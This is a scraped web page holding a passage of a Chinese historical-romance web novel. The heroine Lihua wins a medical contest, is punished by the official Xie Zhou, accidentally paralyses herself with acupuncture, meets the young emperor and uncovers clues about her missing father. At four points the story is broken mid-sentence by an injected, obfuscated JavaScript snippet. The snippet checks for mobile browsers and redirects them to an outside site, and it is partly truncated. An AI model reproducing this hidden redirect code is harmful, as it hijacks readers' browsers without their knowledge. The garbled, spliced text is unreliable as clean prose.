l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039573|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。”她好不容易才有落脚处,为一件衣服被赶走不值得,秋水仙也眼神相劝。 这时梨花发觉腰间衣带被人扯了扯,她低头一看是小丫,蹲下摸摸小丫的头发问:“小丫想不想住大房子呀?” 小丫笑着点头,想说话却被庚娘捂住嘴。 梨花道:“姐姐一定让小丫住上大房子,咱们拉钩,骗人是小狗。”她伸出小拇指,小丫也伸出小拇指,两指相钩为印。 比赛正式开始。 药王传人方派出便是同寝室的三位,梨花方是梨花、陆鹏和庚娘。 梨花大方让他们先出题,那三人也不客气,药王传人道:“我与你比谁背出的药方数量多。” 梨花道:“那不是无穷无尽,难道你想我陪你到天荒地老?”陆鹏哈哈大笑,竟有女人调戏男人,吾辈楷模。 赶在药王传人发飙前梨花又道:“不如限定一种疾病,就最常见的风寒如何?” 药王传人黑着脸答应,旁人早准备好笔墨纸砚,他转身便唰唰刷写下二十方。 有人问:“兄台不写了?” 药王传人看向梨花道:“她大概吃过几副伤寒汤药便认为自己懂得治疗伤寒了,我这二十方足矣,再多便是欺负人。” 那人叹:“好胸襟,不愧是药王传人。”药王传人得意笑笑,对梨花做了一个请的手势。 梨花拿起药王传人写的方子看一遍道:“张仲景的《伤寒论》治伤寒有一百一十三方,这是第七方、第十方、第十八方……第一百零二方。” 围观众人不知准确与否,其中钻出一人查验全部药方惊道:“对了,她全说对了。” 另一人道:“不过读过几本医术,在座谁不知道这些,算不得她赢。” 陆鹏吼道:“凭什么他写的就算,我们的就不算。” 有人反驳:“她一字未写,拿着别人的方子随便说几句谁不会呀。” 众人附和:“就是。” 梨花道:“也是,这样赢了显得我胜之不武。” 药王传人歪嘴不屑道:“哟,你还谦让起来了。” 梨花笑道:“浅让一点。” 她对众人道:“他大概背过几副伤寒药方便认为自己懂得治疗伤寒了,我也二十方足矣,再多便是欺负人。” 周围有人忍不住笑,药王传人气得濒临升天:这是我的台词! 他翻个白眼道:“请吧。” 只见梨花又拿过他刚才写的药方道:“第七方,除麻黄、荆芥、白芷外其他药各减半,适用小儿风寒。”(注1) 有人问:“为何不是整个方子的药减半?” 梨花道:“整体减半药效大打折扣,部分减半既有效又不伤小儿身。” 提问的人不自觉点头,其他人也开始思考梨花所说方案的可行性。梨花不等他们,对剩下十九方提出不同方案,应对不同人群与特异症状,原本窃窃私语的众人都噤了声。 陆鹏低声笑道:“你真会唬人。”梨花信口胡说的本事她刚才就领教了,一句天荒地老便能乱人心神。 梨花却看向她严肃道:“我说的都是真的。” 25. 穷病难医 这下轮到陆鹏惊讶了,梨花勾唇笑道:“能找去药王谷的多半是疑难杂症,像风寒这种小病他的经验必然没我多。”梨花与老爹在乡野行医,接触最多的便是伤寒,久而久之在前人基础上更加精进,陆鹏了然点头。 第一局便输了,药王传人队不敢再掉以轻心,再派一人出第二题,此人家中做药材生意,又喜好吟诗,大家客气称他一声“药诗人”。 药诗人道:“比试太过严肃,不如吟诗作对,我出上联,你对下联:灯心草硬充降香木,狗脊根妄想扛鼎鼐。” 话音一落,众人皆笑起来,药诗人简直是赤裸裸的嘲讽。 这次应战的人是陆鹏,她没读过几本书,药材也不认得多少,低头问梨花:“他说的是什么意思。” 梨花本也学问不多,奈何药诗人说得太直白,她听懂了,解释道:“人家嘲讽咱们不自量力呢。” 陆鹏一拳砸在桌上怒道:“笑什么笑!”她的愤怒毫无威慑,反让看客更得意。 药诗人折扇一展道:“姑娘请对下句吧。” 陆鹏哪会对诗,又不能求助,思索一番硬着头皮道:“大高马把你分五块,小刃刀让你成千片。” 五马分尸,千刀万剐,这是对诗还是杀人?众人的嬉笑僵在脸上,梨花和秋水仙也忍不住侧头看她,庚娘更是面露惊恐之色捂住小丫的耳朵。 陆鹏倒坦然,她和她爹常替人收尸,尤其死得惨烈的,要先缝合美容再还给家人,她道:“都是十六字,我对上了吧。” 其他人不敢说话,药诗人折扇狂抖,战战兢兢道:“只有字数相同,但不含医药,算……算不得对上。” 陆鹏手腕里“嗖”一下甩出一把掌心大小的刀,众人立刻向后退散,梨花忙从后揽住她,用力按住她执刀的手道:“冷静,他说的有理。”她怕陆鹏一冲动真把人给片了,陆鹏把刀扎在桌上退后。 梨花道:“出第三题吧。” 药王传人队的第三人看着仍在桌上抖动、发出白光的刀,又看看庚娘,半晌才试探着道:“要不说说白术的药理?” 明显白送的题目庚娘却摇头,“不懂。” “说出医圣的名字。” “不知。” “医药方面你懂什么?” “什么也不懂。” …… 庚娘确实对医药一无所知,这局对方不战而胜,只是那人心有余悸,怕刀飞向自己,倒着往回走,脚后跟绊在台阶上,一屁股坐倒。 突然的意外打破冰冷局面,众人笑起来,那人也笑起来,他们已经赢下两局。 轮到梨花她们出题了,陆鹏自告奋勇第一个站出来。 她把刀拔出来,不知从哪掏出一个苹果,“我与你比刀法。”说着银光乱闪,苹果露出光滑的果肉,没有半分刀削的痕迹,再看苹果皮整个连成一条,薄如蝉翼能透日光。 对方无人应战,陆鹏道:“开刀也是治病的一种,算医药了吧?” 不但算,还是治病救人的高难度手法,学子们虽有师承,但毕竟所学有限,掌握开刀技法的非常少,药王传人队的三人刚好都不会,谁也不愿意站出来。 这时药诗人不知被谁推了一把站到场中,他恨恨回头却找不到下黑手的人。恰好有小吏端着一盘水果路过,秋水仙笑盈盈拿过水果刀和苹果送给药诗人,药诗人一时面露难色,接过东西无从下手。 其他人已经从一开始的为他们呐喊变成看热闹,大家都是竞争对手,趁机挫挫他们的锐气未尝不好,于是三三两两拿起水果分食。 药诗人无法只能动手削苹果,却削一下断一截,一个苹果削完只剩原来一半大,梨花道:“好财大气粗的刀法。”众人也忍不住笑。 药诗人闻言手一抖,刀割在自己手指上,幸好没流血,他把刀一扔对陆鹏道,“你的刀是特制的,这不公平。” 陆鹏边嚼苹果边道,“你需要可以借给你。”刀上正插了一块苹果,她连刀带果递给药诗人。 药诗人拔下苹果块,发觉她的刀确实很锋利,边吃边问:“这是什么刀?” 陆鹏道:“就是最普通的剖尸刀呀。” 药诗人手里的刀“咣当”一声掉在地上,跑到旁边扶墙狂吐,其他正吃苹果的人也突然难以下咽,未来一段时间应该不会再吃苹果了。 药诗人惨败,庚娘出题,她方才已经琢磨半天,实在搜刮不出一点医药知识,只勉强道:“你可知妇人生产时流出不同液体分别代表什么情况么?” “这……”答题者是第三人,他支支吾吾,一是因为确实不知,二是女子私密之事不好当众讨论。 人群中有嘴快的道:“大庭广众怎可说这些污秽之事,简直有辱斯文。” 陆鹏骂道:“你不是你娘生的?我看就你最污秽。”那人看见她的刀,缩缩脖子不敢说话。 一人道:“那是稳婆的活儿,不是大夫的。” 庚娘苦着脸道:“我以前确实时常帮人家接生,除了接生不会其他。” 秋水仙道:“帮助妇人生产亦是救人,当然属治病救人范畴,不能因为你们不擅长就不让人讨论。” 此话在理,众人不好再说什么,药王传人站出来道:“你们一个仵作、一个稳婆,都不是做正经营生的,能入太医院学习不容易,这两局便算你们赢,咱们就当平局了,赌局的事就此揭过。” 药诗人吐完回来道:“就是,勉强放过你们。”他说完一抬头看见陆鹏还在吃苹果,又出去吐。 陆鹏道:“用你‘算’、用你‘放过’?我们凭本事赢了三局还得对你感恩戴德,要不要脸?” 梨花抬手示意陆鹏噤声,她对药王传人道:“你既看不起验尸、接生的手艺,那我便让你输的心服口服。你先前不是说有世间所有珍稀药材,没有你治不好的病,那我便就此出题。” 药王传人嗤笑,“你非要送死,我就不相让了。” 方才已经小露一手,众人拭目以待一个小女子如何难倒药王传人。 只听梨花道:“我要的药材不多,只三样:一把春日风,二碗六月雪,三捧天上月,你可给得?” 不等药王传人回答,梨花冷眼又道:“我有一病名为穷,你可治得?” 众人瞪大眼睛呆立原地,药王传人骂道:“你耍诈。” 梨花扫视众人接着道:“治病救人从来不止在书本之上,我们理论知识是没你们足,但眼中天地却比你们宽。庚娘一双手迎新生,陆鹏一柄刀送往生,做的是你们所避讳的血腥污秽之事,救的是无数人的性命与尊严,身为医者不精进医术却攀比炫耀身份,你们才该害臊!” 她的话掷地有声,陆鹏眼中有泪,仵作与不详二字伴生,她早习惯别人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053388|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白眼,第一次有外人理解她所做之事。庚娘几乎接生族中所有新生儿,仍被族人赶出来,他们对她还不如一个刚认识的外人好,她有些心酸。 药王传人愣了片刻反应过来,大喝:“一派胡言乱语!” “妇人之见。” “强词夺理。” 各种数落声霎时将她们淹没,陆鹏与他们大吵,与药诗人扭打在一起,梨花扯起嗓子与人吵架,小丫挣脱庚娘咬住一人的手,庚娘挤进人群中逮她,秋水仙又要劝这个又要拉那个,左支右绌…… “都住手!” 一个中年男人的喝声从大门处传来,众人回头,只见一个身穿蓝色官服的中年男人走进来,有眼尖的认出此人是太医院院正杜仲,赶忙上前行礼。 一般人看到鸡飞狗跳的场面要发大火,杜仲却只是胡子抖一抖,眼神如炬扫过互相掐脖子扯头发的陆鹏与药诗人,冷声道: “此处是传道授业之处,不是让你们好勇斗狠的,念你们是初犯不再追究,让林公公好好教你们规矩,都回去吧。”身侧林公公点头称是。 众人便要散去,梨花拽住药王传人道:“把蓝色钥匙和校服给我们。” 杜仲眉头一皱,“你还闹什么?” 梨花道:“我没有闹,只是想要一个公平,既是赌约就该履行。” 林公公警铃大作眼神怨毒,她此言明晃晃说他办事不力,若杜大人追究他吃不了兜着走。 杜仲闻言却笑了,“你想要公平?” “是。” “我分明听见是你先说要比试,挑起这场争端,太医院规定闹事者逐出院,你收拾东西离开,我安排林公公重新为她们安排住所、赶制校服,这才公平。” 药王传人和药诗人窃笑,其他人有幸灾乐祸的,也有恐惧杜仲喜怒无常的。 陆鹏烦躁,怎么就要赶人,这大官太不讲理。梨花似乎很想留在太医院,她倒无所谓大不了回家嫁人,于是顶着鸡窝头走到杜仲面前道:“是我与人争抢衣服,也是我动手打人,我滚!” 秋水仙拉住她,“别冲动。”她笑道,“咱们几人就我既不是无家可归,又不用被迫嫁人,也不是非参加院考不可,正好阿香忙不过来我回去帮她。” 林公公嗓音尖利阴阳怪气道:“以为是菜市场呢,容得你们讨价还价?” 梨花眼神微动,细细思来,确实是她先提出比试,可杜仲那么早就来了,眼看着一场闹剧愈演愈烈却不阻止,他究竟存了什么心思? 杜仲又道:“你不是冠冕堂皇说她们迎人生送人死,听起来都比你更适合留在这里,你还不走?” 梨花确认了,杜仲就是冲她来的,可这是第一次见面,她不曾得罪他,他怎会对她有这么大的敌意呢?而且看样子不把她赶走,他不会罢休。 她走过去摸摸小丫道:“小丫很快能住大房子了,记得要听你娘的话。” 她又对秋水仙道:“你稳重,多拦着些陆鹏。” 陆鹏瓮声瓮气骂道:“交代遗言呢?本姑娘就看不惯他们这些是非不分颠倒黑白的人,我跟你一起退出。” 秋水仙道:“那我也一起。” 小丫拉拉庚娘的衣袖,“娘,咱们也走吗?”庚娘有些为难。 这时太医院外传来哗啦啦一队卫兵的脚步声,一个男人道:“杜院正,本官可来迟了?” 26. 针灸实录 谢舟一身绯红官袍,形容俊朗,面色冷峻,两队卫兵随着他的步伐有序散开。杜仲见这般阵仗,忙迎上去道:“什么风把谢大人吹来了?” 谢舟道:“奉端肃太后命令维护太医院安全。”他扫视一周,目光在梨花身上短暂停留,最后收回杜仲身上,“看来本官来得刚刚好。” 杜仲与谢舟同品阶,本不需要向谢舟行礼,但眼下场景实在尴尬,虚虚向他一抬手道:“一场小风波,在下已经解决,不牢谢大人费心了。” 陆鹏嘟囔:“这人是谁啊?”他们好像很怕他,杜大人刚才那么横,现在都毕恭毕敬的。 梨花正琢磨谢舟来意,没留意她的问话。 秋水仙颔首低声道:“锦衣卫指挥使谢舟。”她给锦衣卫送茶水见过谢舟几次,虽没以前那么怵了,但仍旧不敢正眼看他。 陆鹏惊道:“‘活阎王’?”没想到传闻中心狠手辣杀人如麻的谢舟竟然是个美男子,她太过震惊声音未收,三个字尽数传到众人耳中,秋水仙忙捂住她的嘴。 在场之人大多知道谢舟“活阎王”的威名,却没人敢公开说,此刻胆战心惊生怕被陆鹏的话连累。 谢舟却若无其事道:“本官刚才听得真切,杜院正说有人挑事打架,罪魁祸首是她?”他用刀柄指向梨花,“今年首开太医院学班,报到第一天就聚众闹事,不把皇上和两位太后放在眼里,带走。” 梨花疑惑:他搞什么? 浊流过来便要押走梨花,陆鹏拦在前面道:“大人听错了,闹事的是我。”秋水仙也抢着道:“是我。” 谢舟挥手,又出来几个人连她们一起抓了。梨花看向她们,又感动又无奈。 小丫跑过去抱住谢舟大腿,“哥哥,你要带走我们吗?”小丫头不知天高地厚,这与虎口拔毛有什么区别?霎时间满场寂静。 只见谢舟绣春刀出鞘,有人已经害怕地捂住眼。“哧”一声,刀从小丫身边划过刺中什么东西,梨花侧头一看,是一只蝎子被劈成两半,腹中冒绿水。 药王传人惊呼:“五步蝎!”被这种蝎子咬一口走五步就会毒发身亡,虽有剧毒却也是以毒攻毒的良药,太医院有五步蝎并不奇怪。 放毒物跑出来院正难辞其咎,杜仲道:“多谢谢大人,还不收拾干净。”一个医吏赶紧告罪收拾好五步蝎。 众人大眼瞪小眼,谢舟没有杀人反而救人,难道传闻有误? 小丫继续摇着谢舟大腿问:“哥哥,你要带走我们吗?”庚娘大脑一片空白半天才反应过来发生了什么,忙跪在谢舟脚边求饶,“求大人放过我女儿,我愿意承担一切罪责。” 谢舟对杜仲道:“她们抢着认错,是非难辨,去北镇抚司喝两杯茶就清楚了。” 众人唏嘘:北镇抚司有进无出,果然还是那个草菅人命的谢舟。药王传人等三人也后怕,还好谢舟只对她们发难,药诗人忍不住长舒一口气。 梨花对药诗人单眼一眨,开口道:“一个巴掌拍不响,谢大人怎么不把他们也带走?”好一个祸水东引,药诗人气舒到一半吓得打了个嗝。 谢舟点头,“确实,一起带走。今天的事本官会详查,将结果一五一十上报端肃太后,以正视听。” 锦衣卫押着一众人就要走,杜仲赶忙拦住谢舟道:“谢大人,误会一场,他们只是斗医玩闹罢了,没有打架闹事,还请您高抬贵手。”这件事闹大对太医院和杜仲名声不好,他得想办法压下去。 谢舟看向梨花道:“误会?你说是误会吗?” 见杜仲向她投去求救的眼神,梨花道:“谢大人明鉴,确实是误会。” “可我刚才听你说要求个公平?” “杜院正给我们机会比试医术,我们赢了便要求与他们换房间。”比赛本就因换房间而起,杜仲为了保全所有人必会认下换房间的事。 果不其然,杜仲道:“是这样的,房间已经着人给她们重新安排,收拾好下午就开始授课。” 谢舟点头认可他们的说法,却话锋一转又道:“杜大人教学有方,那就是她无端生事。” 梨花用手指了指自己:“我?”他又要做什么。 谢舟笑道:“罚她每日去打扫药经阁如何?” 杜仲道:“听凭谢大人安排。” ———— 梨花每日下晚课后去打扫,太医院药经阁有三层楼高,书柜高立,要爬上梯子一本本清理,打扫一遍两腿发软,她一边擦灰一边骂:“杀千刀的谢舟,居然阴我!” 她气愤地把抹布往后一扔,好巧不巧飞到书柜最上面,一本书掉下来砸到她的脑袋,她更气了,“连你也欺负我!”使劲踩两脚书发泄,却被封皮上《针灸实录》四个字吸引,好奇捡起来翻阅。 《针灸实录》分两部分,前半部分讲人体经络,后半部分讲针灸案例,书中许多东西老爹教过她,还有没教过的她就细细研究,这一看竟入了迷。 书中最后有一道移穴之法,讲的是通过针灸改换穴位。梨花从未见过如此奇特的针法,拿出银针便在自己身上尝试。 最开始尝试笑穴、痛穴转换,笑穴一碰犹如剥皮抽筋,痛穴一碰让人狂笑不止,见移穴之法果然有用,她又尝试改换其它穴位,几次下来胆子越来越大,开始在重要穴位尝试。 试着试着发觉身上无力,头晕眼花,用尽最后力气翻过一页,在背后看到几个字:此法凶险,操作不当会使人神智失常全身瘫痪。 梨花哀嚎:“这么重要的提示不放在前面吗?”她成功把自己扎瘫了,靠在书架旁等人救援,可深更半夜谁会过来,她只能眼睁睁看着烛火燃尽。 意识朦胧时,突然听到窗棂轻轻咔哒一声,一个黑影翻进来,那人借着火折子的微光在书架来回翻找,梨花道:“你找哪本?” 火烛抖了一下,那人回头蒙着半张脸,看见半死不活坐在书架旁的梨花,笑道:“藏在那儿扮鬼吓人?” 梨花道:“所以你被吓到了吗?” “显然没有。” “书找到了吗?” “显然也没有。” “没找到就对了,因为书被我手里。” “你怎么知道我在找什么书?” “找人救我我就告诉你。” “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065447|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搞错形势了,现在是你在求我。”那人恶作剧戳戳梨花,梨花咚一声横着倒下,天旋地转,一双黑靴越行越远。 梨花骂道:“可恶的谢舟。” 谢舟站住脚扯下蒙脸布问道:“你怎么知道是我?” “从你一进来我就闻见了。” 倒忘了她鼻子好,谢舟笑着威胁道:“敢拆穿我,不怕我杀你灭口吗?” “不是你故意让我来药经阁的吗?”谢舟大费周章把她弄进藏经阁,她猜测是为了让她调查高彪所中之毒,“快找杜院正来,再拖下去我就经脉坏死了。” 谢舟道:“活该。”说完原路翻出去。 不一会儿就听见外面吵吵嚷嚷的声音,杜仲的声音传进来:“谢大人,您确定东西丢在太医院了?” 谢舟道:“许是被人偷去了,我看那方梨就很可疑,她不是打扫药经阁吗,不如进去看看。” 梨花心道:太刻意了吧。 杜仲打了个呵欠,“这么晚人应该早回去了,明日叫她来询问吧。” 身旁医吏犹犹豫豫道:“大人,方梨室友先前来找人说她一夜未归,被守门的拦回去了,所以可能……” 杜仲吓醒了,看一眼谢舟心里叫苦:方梨你怎么老得罪谢舟。 医吏打开门掌灯,杜仲一眼就看见刺猬一样横躺在地上的梨花,脸上五颜六色十分精彩。 谢舟走过去从梨花身下拿出一样东西,对杜仲道:“就是此物。” 人赃并获杜仲也没办法,瞪着梨花道:“为何偷盗?” 梨花心中暗骂:什么时候偷放在我身下的,看我好了不扎瘫你!她这个角度看不到谢舟拿了什么,只能随口道:“我爱慕谢大人,这才做了错事,请谢大人原谅。” 败坏我名声,我也恶心你。 谢舟把东西收在怀里,“东西既然已经找回我便不计较了,夜半打扰杜院正实在惭愧,改日摆酒赔罪。” 一个把朵破干花当宝贝半夜折腾人寻找,一个头脑不清喜欢活阎王,杜仲觉得自己没睡醒才出现幻觉。 谢舟离开,梨花苦哈哈道:“杜院正快救救我,我尝试移穴之法动不了了。”医吏扶起梨花,杜仲才看见她身下压着的《针灸实录》,神色一凛动手拔针,腾挪半天才将穴位全部归位。 梨花伸伸已经僵硬的胳膊惭愧道:“给您添麻烦了,恐怕世上再没有想我这么蠢把自己扎瘫的人了。” 杜仲望着梨花许久重重叹一口气,眼神飘向远方,“我曾有一位老朋友,他学医没有天分,就下笨功夫慢慢练习,毒草都敢乱吃,银针也随时往自己身上招呼,最后成了他们一群人里医术最高的人。他爱医成痴,为了研究针灸险些送命,这才写出这本《针灸实录》。” 看样子杜仲和《针灸实录》的作者颇有渊源,老爹讲的许多东西与此书相同,说不定他们相识,梨花便问:“此书是何人所作?” 谁知刚才还好好的杜仲突然生气,“无知小儿乱惹麻烦,以后不许你再进药经阁。”说罢甩袖离去。 提到此处就变脸,绝对有隐情,梨花展一展腰心道:咱们慢慢来。 27. 福祸相依 好在药经阁的事没惊动太多人,梨花被扎得身子发抖,强撑着摸回寝院。 先前杜太医已经给她们重新换了屋子,就换在药王传人他们那间,三张大床靠墙连在一起,她们四大一小睡成大通铺。 太医院里多出个小孩,谢舟一刀救她命,杜仲没阻止她留下,大家只好争一只眼闭一只眼,默许她的存在,小丫也懂事不乱跑,每日呆在房间等娘亲和姐姐们回来。 房间黑漆漆,她刚一进门就听到说话声:“梨花回来了?”同时桌边亮起一盏微弱的烛光,陆鹏四仰八叉睡在秋水仙身上,庚娘抱着小丫坐在桌边。 小丫揉揉眼对梨花伸出双臂求抱,梨花接过小丫抱她上床掖好被子,小丫哼唧两声睡过去。 庚娘笑道:“你没回来她不肯睡,哄了好久,她就缠你。” 两人出了房间,梨花知道庚娘有话要说,由着她东拉西扯半天,却见她犹犹豫豫扑通一声跪下,“对不起,是我胆小不敢站出来才害你受罚。” 梨花惊吓后退赶紧将人扶起,“这是哪儿的话,他们要罚我与你何干?你快起来。” 庚娘红着眼道:“我也是女人,当初就是不想受那些人欺侮才带小丫跑出来,现在却害你……” 梨花思索一下才明白,庚娘以为自己遭人迫害,她撩起袖子给她看,“我看到一本针灸医书,拿自己试针累到了,没别的事。” 庚娘摸一摸梨花手臂确认没有其它伤痕,盯着她的眼确认她是否有委屈不敢讲。梨花反握住庚娘的手,捏捏她的手心,拉她回房休息。 ———— 次日,几人照常起来上课。 太医院课程分为理论课和实操课,理论课以《素问》《难经》《本草》《经脉》《脉決》为主要教材,学习传统十三科,实操课则是分组跟随御医去民间义诊。 今日上午学习《本草》,因为庚娘基础最差,课间她被先生留堂,秋水仙便替她回寝室照看小丫喝水。 众人正在闲聊,就听后院秋水仙大声尖叫,陆鹏手扶腰间剖尸刀跑在最前面,梨花和庚娘紧随其后,其他人也跟过去。 只见寝院大树下莫名出现一个明黄色锦袍的年轻公子,双手捂头痛苦蹲着。秋水仙手足无措站在一旁,脚边丢着一根手腕粗的木棒。 此人眼生的很,陆鹏把秋水仙拦在身后大声质问:“哪来的贼人竟敢在太医院造次,看我不把你片成片儿。” 那公子闻言把头抱得更紧,慌乱喊道:“我不是贼。” 杜仲和谢舟闻声赶来,陆鹏大喊:“谢大人,我替你抓到一个贼,你快来!” 谁料谢舟快步跑过去跪在锦袍公子身边道:“皇上您没事吧?臣救驾来迟。” 皇上? 秋水仙和陆鹏对视一眼跪下:她们打的/骂的是皇帝,活到头了。 院中瞬间白花花跪倒一片,杜仲险些晕过去,在医吏的搀扶下才勉强站直,摇摇晃晃跪在皇帝身边。 杜仲扶宁洵捂着额头站起来,宁洵惨叫:“何人伤朕拉出去砍了。”谢舟拔刀架在秋水仙脖子上,宁洵突然道:“那个……是朕自己摔的,杜院正给朕看看,其他人散了吧。” 皇帝受伤的样子大家不敢看,纷纷逃也似得离开,宁洵忽又道:“哪个是方梨?”梨花本就没走远,被医吏带着和秋水仙、陆鹏并排跪在宁洵面前。 杜仲给宁洵涂药,好在秋水仙力气小,他伤得不厉害,坐在椅上盯着梨花看,“抬起头来。” 梨花不知自己怎么入了皇帝的眼,瑟瑟发抖抬头,对上宁洵冷冽的目光,吓得她又立刻低头趴伏于地。 谢舟道:“皇上让你抬头。” 梨花鼓起勇气再次抬头,这次才看清宁洵的模样,是个十几岁的少年,眉眼依稀与公主宁照夜相似,宁照夜是放肆张扬的美丽,宁洵则多了帝王的威严,即便面庞稚嫩气势却十分压人。 他不说话只是看着,梨花全身僵硬豆大的汗珠从脸颊滚落砸在地上。 谢舟道:“方梨是民间医馆还春堂的伙计,没见过世面,第一次得见天颜难免紧张。” 宁洵站起来围着梨花走了三圈语气欢快:“看起来也不怎么样嘛,枉朕骗过内官微服出来,无聊。”此刻他的神态动作与公主宁照夜如出一辙仿佛是个贪玩的少年。 梨花才稍稍喘过一口气,只是听起来皇帝专为自己而来,不知是福是祸。 宁洵坐回椅子上道:“月奴来找朕告状,说她又讨厌上一个人,那人叫方梨,她要亲眼见证她的失败。” 月奴是宁照夜的小字,她本就因为马球输给梨花十分郁闷,杨贞托人来找她,她高兴不已换上最漂亮的衣服相见,却等来杨贞一句“心有所属,莫要纠缠。”她心碎地在寝宫哭了一整天,要给梨花一点教训。 梨花心中得意:公主呀公主,想给我使绊子,却正中我下怀,多谢了呢。 宁洵又道:“月奴讨厌的人太多了,朕并未在意,可是仁德皇后却突然提及增加女子医考的机会,一细问竟然也是因为你。” 梨花一想,她与仁德皇后并无交集,唯一的可能就是杨贞替她说话,想到此她心下一暖。 却听宁洵道:“她们都为你说话弄得朕也好奇,本想悄悄来看看你是何许人也,却被……”他揉揉额头话锋一转,“女子院考因你而开,若你考不上就是沽名钓誉朕治你欺君之罪。” 他最后几个字语气陡然冷硬,吓得梨花一抖,连连磕头道:“是,谢皇上恩典。” 宁洵抬步出去又回头走到秋水仙身边,“你叫什么名字?” 秋水仙磕一个头轻声道:“民女秋水仙。” 来的时候翻墙爬树体验一把梁上君子的感觉,宁洵心满意足由谢舟护送离开。 ———— 因为宁洵的圣旨,梨花不得不比别人下更多功夫,杜仲免了她的打扫处罚,她便利用晚间的时间自学。 杏林堂背面是档案库,用来存放医案,档案库按时间整理,存放从太祖年间至今所有太医的出诊记录和诊疗记录。 档案库是绝密之地,多亏梨花嘴甜性格好,与管档案库的医吏私下喝了几次酒,趁人喝醉哄人带她进去看过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16077938|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反正进去过了一次两次没区别,医吏索性把钥匙给她,她便每晚偷偷溜进去。 档案太多,她先拣近十年的看,第一本第一页便是杜仲给后宫的娘娘看月事不调,开的方子又猛又冲,虽然对症却净开些不能说与病人听的药,果然往后看,就见他被打发去给宫人看病了。 又翻了几本,梨花看到一个让她震颤的名字——李守仁。 老爹的失踪就是因他而起,此人果然与太医院有关,可她来了这么长时间从未听过见过此人,她快速翻阅,李守仁的出诊记录停在五年前。 最后出诊地是谢家,求诊人是谢谦副将梅若寒,病症腿伤。 梨花眼眸微抖,普通官员本来没资格请太医诊病,但因谢谦护国有功,皇帝特许谢家由太医诊治。而这梅若寒又是谁?偏偏他求诊之后先帝薨世,谢谦下狱,李守仁失踪,梨花不相信这一切没有关联。 正巧次日休沐,梨花急匆匆回了还春堂,梅姓并不常见,她跟阿香再三确认,京城并无梅家的亲人,一个猜测呼之欲出,她找借口将阿香支走。 还春堂生意走上正轨,一切有阿香打点,梅伯乐的自在,每天躺在轮椅上晒太阳。他正坐在树下石桌旁摇蒲扇,梨花倒一碗茶水在他身边坐下。 梨花道:“今日雨水少了,梅伯的腿可好些?” 梅伯笑呵呵道:“好多了,你教给阿香的按摩之法很有用,她每天帮我按一按,再没疼了。” 梨花道:“梅伯的腿是如何伤的?” 梅伯端起茶碗道喝一口道:“在房顶晒药不慎摔下来摔断了。” 梨花哦了一声,笑问:“看来从军也不忙,能同时开医馆。” 梅伯眼神闪烁有些警惕,“不清楚,我累了回去休息一下。”他放下碗推轮椅要走。 梨花起身给他让道,在他快到门口时才开口:“想来梅伯身体不适,找李守仁李太医来为您看看。” 梅伯的滚动车轮的手顿时卡主,背对梨花呆了半晌才道:“你究竟什么人?” “我本姓李,原名李花,为寻父而来。” 梅伯不理会她便要推轮椅回去,梨花高声道:“我有些疑惑,若梅伯不能解答我就只好找谢舟问问。” 听她要去找谢舟,梅伯的身子忍不住颤了颤,道:“你是他的女儿?进来吧。” 梅伯和阿香收留她,她本不想骗人,可寻父心切便认下这个误会,跟梅伯进了屋。 梅伯道:“五年前我曾是谢将军手下的一个普通副将,受了点小伤,谢将军体恤下属,请来太医为我诊治,便是李守仁。后来将军出事,少将军突然像变了一个人,我无法忍受他的背叛,辞官离开谢家,经营夫人留下的还春堂。这五年我刻意隐藏身份,切断与谢家的一切联系,除了……” 梨花知道他想说什么,除了介绍她去谢家揭榜,让阿香去谢家找她以外。她试探问:“那他如今是死是活?” 梅伯道:“不知,自那之后人间蒸发。你们父女皆有恩于我,我本该感恩戴德,可有句话还是要说,之后你便与我家断了往来吧。” 28. 装聋作哑 梨花没从梅伯那儿得到更多有用消息,反被下了逐客令,阿香回来,她怕被看出端倪只说着急回太医院便匆匆走了,连给她们买的吃食也没顾上拿。 出了街口,看到清溪牵着谢府的马车望着她,想必是谢舟找她,四顾无人才上了车。 谢舟照例一身黑衣面无表情,“没什么要对上我说的吗?” 梨花想了一下道:“那天多谢你在皇上面前替我说话。” 谢舟鼻子哼哼,“还以为你只记得杨贞呢。” 梨花心道:和杨贞有什么关系,不过杨贞替她争取院考机会,是得找机会亲自道谢。谢舟不会这么闲只为听她一声谢谢吧,稍一琢磨想起来,他问的是药经阁那天的事。 梨花掏出一块折起的手绢递给谢舟,“你闻闻。” 谢舟结果放在鼻子下轻嗅:“有淡香。这是什么?” 